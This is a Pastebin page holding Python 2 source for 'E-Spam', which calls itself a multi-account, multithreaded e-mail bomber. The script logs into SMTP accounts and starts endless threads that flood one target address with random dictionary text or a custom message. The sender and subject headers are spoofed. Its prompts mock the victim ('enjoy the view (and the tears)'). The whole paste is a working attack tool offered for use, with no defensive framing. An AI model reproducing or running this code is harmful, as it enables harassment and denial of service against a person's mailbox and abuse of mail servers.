Pastebin PRO Accounts EASTER SPECIAL! For a limited time only get 40% discount on a LIFETIME PRO account! Offer Ends Soon!
SHARE
TWEET
E-Spam
a guest
Mar 29th, 2015
848
Never
- #For dic flooding, You need a dictionary file, one line per "word".
- #It will be loaded on the run.
- import smtplib as s
- import getpass
- from email.MIMEMultipart import MIMEMultipart
- from email.MIMEText import MIMEText
- import random
- import thread
- import time
- want=1
- acc=0
- b=0
- global ses
- ses=[]
- def read_dic():
- FTL=raw_input("File to load : ")
- f=file(FTL,'r')
- global dic
- dic=f.readlines()
- f.close()
- global nwords
- nwords = len(dic)
- def shitmail():
- shit = ""
- r=random.randint(1,nwords-1 )
- shit = shit + dic[r].rstrip() +"."
- r=random.randint(1,nwords-1 )
- shit = shit + dic[r].rstrip() +"@"
- r=random.randint(1,nwords-1 )
- shit = shit + dic[r].rstrip() +"."
- r=random.randint(1,nwords-1 )
- shit = shit + dic[r].rstrip()
- return shit
- def shitmaker(MaxBL):
- BL = random.randint(1, MaxBL)
- shit = ""
- i=0
- while (i < BL):
- r=random.randint(1,nwords-1)
- if((r+BL)%7!=0):
- shit = shit + dic[r].rstrip() +" "
- elif((r+BL)%3==0) :
- shit = shit + dic[r].rstrip() +". \n"
- elif((r+BL)%2==0):
- shit = shit + dic[r].rstrip().capitalize() + " "
- elif((r+BL)%5==0):
- shit = shit + str(r/BL) + " "
- elif((r+BL)%11==0):
- shit = shit +" "
- else :
- shit = shit + dic[r].rstrip() +". "
- i+=1;
- return shit
- def POSS(session):
- while 1:
- global b
- msg = MIMEMultipart()
- msg['From'] = shitmail()
- msg['To'] = shitmail()
- msg['Subject'] = shitmaker(6)
- body = shitmaker(1000)
- msg.attach(MIMEText(body, 'plain'))
- text = msg.as_string()
- session[0].sendmail(session[1], v_email, text)
- b=b+1
- def POS(session,se,re,su,tex):
- while 1:
- global b
- msg = MIMEMultipart()
- msg['From'] = se
- msg['To'] = re
- msg['Subject'] = su
- body = tex
- msg.attach(MIMEText(body, 'plain'))
- text = msg.as_string()
- session[0].sendmail(session[1], v_email, text)
- b=b+1
- def getlogin():
- try:
- global want,acc
- username = raw_input("Username / Email (user@server.whatever): ")
- password = getpass.getpass(prompt='Password: ')
- server_port = raw_input("server.domain:port :")
- obj = s.SMTP(server_port)
- obj.starttls()
- obj.login(username, password)
- print "to start the attack, enter 'm' (annything else makes more accounts!)"
- m=raw_input("")
- acc = acc+1
- if(m=="m"):
- want=0
- return (obj,username)
- except :
- print "something went wrong, try again."
- print "Welcome abord E-Spam, a multitask, multi-account, dictionary E-Mail bomber."
- print "Please use it carefully, in order to avoid unvanted attention."
- print "First select the luky choosen one : "
- v_email=raw_input("TARGET : ")
- print "Now, we need to login on one or more E-Mail accounts in order to get started."
- print "(For each login a process wil be started, you can login on the same account multiple times with differents ports) "
- #print "(if you have succesfully logged in on enghout accounts,"
- #print "you can start the fun by typing 0 in the username field)"
- while want==1:
- ses.insert(acc,getlogin())
- # print "sorry, but no valid account was given."
- print "Select the bomb for the target. "
- cm=raw_input("for Special Message'm', else dico ")
- if(cm=='m'):
- print("the following will only affect what is shown in the mail, nothing else")
- se=raw_input("from : ")
- re=raw_input("to : ")
- su=raw_input("subjet : ")
- tex=raw_input("enter the message : ")
- print " Bombs loaded. Target on sight."
- print "we are now starting to bomb, please enjoy the view (and the tears)"
- for p in ses :
- thread.start_new_thread(POS,(p,se,re,su,tex,))
- print "We hope you are enjoying this flight."
- while 1:
- time.sleep(1)
- print "bombs dropped : ",
- print b
- else:
- read_dic()
- print " Bombs loaded. Target on sight."
- print "we are now starting to bomb, please enjoy the view (and the tears)"
- for p in ses :
- thread.start_new_thread(POSS,(p,))
- print "We hope you are enjoying this flight."
- while 1:
- time.sleep(1)
- print "bombs dropped : ",
- print b
RAW Paste Data
